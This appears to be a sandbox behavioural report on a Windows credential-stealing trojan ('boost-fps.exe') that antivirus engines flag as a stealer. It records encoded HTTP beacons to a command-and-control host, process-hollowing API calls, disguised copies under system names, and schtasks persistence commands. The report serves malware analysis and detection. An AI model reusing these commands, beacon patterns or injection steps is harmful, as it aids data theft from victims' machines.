iIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL-S^`à" <î[ `@  lP`…”[W`€  H.textô; < `.rsrc`>@@.reloc €B@B
base_address: 0x00400000
process_identifier: 2572
process_handle: 0x00000274
1 1 0

WriteProcessMemory

 buffer: €0€HX`ÄÄ4VS_VERSION_INFO½ïþ?$StringFileInfo000004B0Comments$CompanyName,FileDescription0FileVersion1.0.0.00InternalNamePi.exe(LegalCopyright,LegalTrademarks8OriginalFilenamePi.exe$ProductName4ProductVersion1.0.0.08Assembly Version1.0.0.0DVarFileInfo$Translation°
base_address: 0x00466000
process_identifier: 2572
process_handle: 0x00000274
1 1 0

WriteProcessMemory

 buffer: P ð;
base_address: 0x00468000
process_identifier: 2572
process_handle: 0x00000274
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2572
process_handle: 0x00000274
1 1 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL-S^`à" <î[ `@  lP`…”[W`€  H.textô; < `.rsrc`>@@.reloc €B@B
base_address: 0x00400000
process_identifier: 1304
process_handle: 0x0000029c
1 1 0

WriteProcessMemory

 buffer: €0€HX`ÄÄ4VS_VERSION_INFO½ïþ?$StringFileInfo000004B0Comments$CompanyName,FileDescription0FileVersion1.0.0.00InternalNamePi.exe(LegalCopyright,LegalTrademarks8OriginalFilenamePi.exe$ProductName4ProductVersion1.0.0.08Assembly Version1.0.0.0DVarFileInfo$Translation°
base_address: 0x00466000
process_identifier: 1304
process_handle: 0x0000029c
1 1 0

WriteProcessMemory

 buffer: P ð;
base_address: 0x00468000
process_identifier: 1304
process_handle: 0x0000029c
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 1304
process_handle: 0x0000029c
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL-S^`à" <î[ `@  lP`…”[W`€  H.textô; < `.rsrc`>@@.reloc €B@B
base_address: 0x00400000
process_identifier: 2572
process_handle: 0x00000274
1 1 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL-S^`à" <î[ `@  lP`…”[W`€  H.textô; < `.rsrc`>@@.reloc €B@B
base_address: 0x00400000
process_identifier: 1304
process_handle: 0x0000029c
1 1 0
Process injection Process 2216 called NtSetContextThread to modify thread in remote process 2572
Process injection Process 1812 called NtSetContextThread to modify thread in remote process 1304
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4611054
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000270
process_identifier: 2572
1 0 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4611054
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000002a0
process_identifier: 1304
1 0 0
file C:\Windows\System32\ntkrnlpa\lsm.exe:Zone.Identifier
file C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\taskhost.exe:Zone.Identifier
file C:\Windows\System32\credui\lsass.exe:Zone.Identifier
file C:\MSOCache\All Users\{90120000-001A-0412-0000-0000000FF1CE}-C\pw.exe:Zone.Identifier
file C:\Windows\System32\modemui\wininit.exe:Zone.Identifier
file C:\Sandbox\test22\DefaultBox\SearchFilterHost.exe:Zone.Identifier
file C:\ProgramData\Application Data\winlogon.exe:Zone.Identifier
Process injection Process 2216 resumed a thread in remote process 2572
Process injection Process 1812 resumed a thread in remote process 1304
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000270
suspend_count: 1
process_identifier: 2572
1 0 0

NtResumeThread

 thread_handle: 0x000002a0
suspend_count: 1
process_identifier: 1304
1 0 0
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 732
thread_handle: 0x00000270
process_identifier: 1224
current_directory:
filepath: C:\Windows\SysWOW64\credui\lsass.exe
track: 1
command_line: "{path}"
filepath_r: C:\Windows\SysWOW64\credui\lsass.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000274
1 1 0

CreateProcessInternalW

 thread_identifier: 1756
thread_handle: 0x0000028c
process_identifier: 1348
current_directory:
filepath: C:\Windows\SysWOW64\credui\lsass.exe
track: 1
command_line: "{path}"
filepath_r: C:\Windows\SysWOW64\credui\lsass.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000290
1 1 0

CreateProcessInternalW

 thread_identifier: 1408
thread_handle: 0x00000298
process_identifier: 2084
current_directory:
filepath: C:\Windows\SysWOW64\credui\lsass.exe
track: 1
command_line: "{path}"
filepath_r: C:\Windows\SysWOW64\credui\lsass.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000294
1 1 0

CreateProcessInternalW

 thread_identifier: 2240
thread_handle: 0x000002a0
process_identifier: 1304
current_directory:
filepath: C:\Windows\SysWOW64\credui\lsass.exe
track: 1
command_line: "{path}"
filepath_r: C:\Windows\SysWOW64\credui\lsass.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x0000029c
1 1 0
Elastic malicious (high confidence)
FireEye Generic.mg.92fc1129af30ba08
Qihoo-360 Win32/TrojanSpy.Generic.HgIASR4A
Cylance Unsafe
Cybereason malicious.46a78d
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of MSIL/Kryptik.AAEP
APEX Malicious
Avast Win32:MalwareX-gen [Trj]
Cynet Malicious (score: 100)
Kaspersky HEUR:Trojan-Spy.MSIL.Stealer.gen
Paloalto generic.ml
DrWeb Trojan.PWS.Stealer.30110
McAfee-GW-Edition Artemis!Trojan
Microsoft Trojan:Win32/Sehyioa.A!cl
ZoneAlarm HEUR:Trojan-Spy.MSIL.Stealer.gen
McAfee PWS-FCXP!92FC1129AF30
MAX malware (ai score=99)
Malwarebytes Malware.AI.539684289
Rising Spyware.Stealer!8.3090 (CLOUD)
Fortinet MSIL/GenKryptik.FDJX!tr
BitDefenderTheta Gen:NN.ZemsilF.34662.vn2@a0YStFdG
AVG Win32:MalwareX-gen [Trj]
CrowdStrike win/malicious_confidence_100% (W)
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2216
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 2216
1 0 0

NtResumeThread

 thread_handle: 0x0000018c
suspend_count: 1
process_identifier: 2216
1 0 0

NtResumeThread

 thread_handle: 0x00000260
suspend_count: 1
process_identifier: 2216
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 2216
1 0 0

CreateProcessInternalW

 thread_identifier: 1120
thread_handle: 0x00000270
process_identifier: 2572
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\boost-fps.exe
track: 1
command_line: "{path}"
filepath_r: C:\Users\test22\AppData\Local\Temp\boost-fps.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000274
1 1 0

NtGetContextThread

 thread_handle: 0x00000270
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000274
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL-S^`à" <î[ `@  lP`…”[W`€  H.textô; < `.rsrc`>@@.reloc €B@B
base_address: 0x00400000
process_identifier: 2572
process_handle: 0x00000274
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00402000
process_identifier: 2572
process_handle: 0x00000274
1 1 0

WriteProcessMemory

 buffer: €0€HX`ÄÄ4VS_VERSION_INFO½ïþ?$StringFileInfo000004B0Comments$CompanyName,FileDescription0FileVersion1.0.0.00InternalNamePi.exe(LegalCopyright,LegalTrademarks8OriginalFilenamePi.exe$ProductName4ProductVersion1.0.0.08Assembly Version1.0.0.0DVarFileInfo$Translation°
base_address: 0x00466000
process_identifier: 2572
process_handle: 0x00000274
1 1 0

WriteProcessMemory

 buffer: P ð;
base_address: 0x00468000
process_identifier: 2572
process_handle: 0x00000274
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2572
process_handle: 0x00000274
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4611054
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000270
process_identifier: 2572
1 0 0

NtResumeThread

 thread_handle: 0x00000270
suspend_count: 1
process_identifier: 2572
1 0 0

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2572
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 2572
1 0 0

NtResumeThread

 thread_handle: 0x0000018c
suspend_count: 1
process_identifier: 2572
1 0 0

NtResumeThread

 thread_handle: 0x00000220
suspend_count: 1
process_identifier: 2572
1 0 0

NtResumeThread

 thread_handle: 0x00000284
suspend_count: 1
process_identifier: 2572
1 0 0

NtResumeThread

 thread_handle: 0x000002f4
suspend_count: 1
process_identifier: 2572
1 0 0

NtResumeThread

 thread_handle: 0x00000310
suspend_count: 1
process_identifier: 2572
1 0 0

CreateProcessInternalW

 thread_identifier: 732
thread_handle: 0x00000390
process_identifier: 1468
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\System32\ntkrnlpa\lsm.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x00000398
1 1 0

CreateProcessInternalW

 thread_identifier: 1972
thread_handle: 0x00000390
process_identifier: 540
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\taskhost.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000039c
1 1 0

CreateProcessInternalW

 thread_identifier: 2056
thread_handle: 0x000003a8
process_identifier: 2252
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\System32\modemui\wininit.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003ac
1 1 0

CreateProcessInternalW

 thread_identifier: 1080
thread_handle: 0x000003a8
process_identifier: 2220
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90120000-001A-0412-0000-0000000FF1CE}-C\pw.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003b0
1 1 0

CreateProcessInternalW

 thread_identifier: 2740
thread_handle: 0x000003a8
process_identifier: 2768
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\Sandbox\test22\DefaultBox\SearchFilterHost.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003b8
1 1 0

CreateProcessInternalW

 thread_identifier: 2328
thread_handle: 0x000003a8
process_identifier: 1472
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\ProgramData\Application Data\winlogon.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003c0
1 1 0

CreateProcessInternalW

 thread_identifier: 1476
thread_handle: 0x000003cc
process_identifier: 1492
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\System32\credui\lsass.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003d0
1 1 0

CreateProcessInternalW

 thread_identifier: 1048
thread_handle: 0x000003cc
process_identifier: 1812
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\credui\lsass.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003d8
1 1 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 1812
1 0 0

NtResumeThread

 thread_handle: 0x00000158
suspend_count: 1
process_identifier: 1812
1 0 0

NtResumeThread

 thread_handle: 0x00000194
suspend_count: 1
process_identifier: 1812
1 0 0

NtResumeThread

 thread_handle: 0x00000260
suspend_count: 1
process_identifier: 1812
1 0 0

CreateProcessInternalW

 thread_identifier: 732
thread_handle: 0x00000270
process_identifier: 1224
current_directory:
filepath: C:\Windows\SysWOW64\credui\lsass.exe
track: 1
command_line: "{path}"
filepath_r: C:\Windows\SysWOW64\credui\lsass.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000274
1 1 0

NtGetContextThread

 thread_handle: 0x00000270
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1224
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000274
3221225496 0

CreateProcessInternalW

 thread_identifier: 1756
thread_handle: 0x0000028c
process_identifier: 1348
current_directory:
filepath: C:\Windows\SysWOW64\credui\lsass.exe
track: 1
command_line: "{path}"
filepath_r: C:\Windows\SysWOW64\credui\lsass.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000290
1 1 0

NtGetContextThread

 thread_handle: 0x0000028c
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1348
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000290
3221225496 0

CreateProcessInternalW

 thread_identifier: 1408
thread_handle: 0x00000298
process_identifier: 2084
current_directory:
filepath: C:\Windows\SysWOW64\credui\lsass.exe
track: 1
command_line: "{path}"
filepath_r: C:\Windows\SysWOW64\credui\lsass.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000294
1 1 0

NtGetContextThread

 thread_handle: 0x00000298
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000294
3221225496 0

CreateProcessInternalW

 thread_identifier: 2240
thread_handle: 0x000002a0
process_identifier: 1304
current_directory:
filepath: C:\Windows\SysWOW64\credui\lsass.exe
track: 1
command_line: "{path}"
filepath_r: C:\Windows\SysWOW64\credui\lsass.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x0000029c
1 1 0

NtGetContextThread

 thread_handle: 0x000002a0
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1304
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000029c
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL-S^`à" <î[ `@  lP`…”[W`€  H.textô; < `.rsrc`>@@.reloc €B@B
base_address: 0x00400000
process_identifier: 1304
process_handle: 0x0000029c
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00402000
process_identifier: 1304
process_handle: 0x0000029c
1 1 0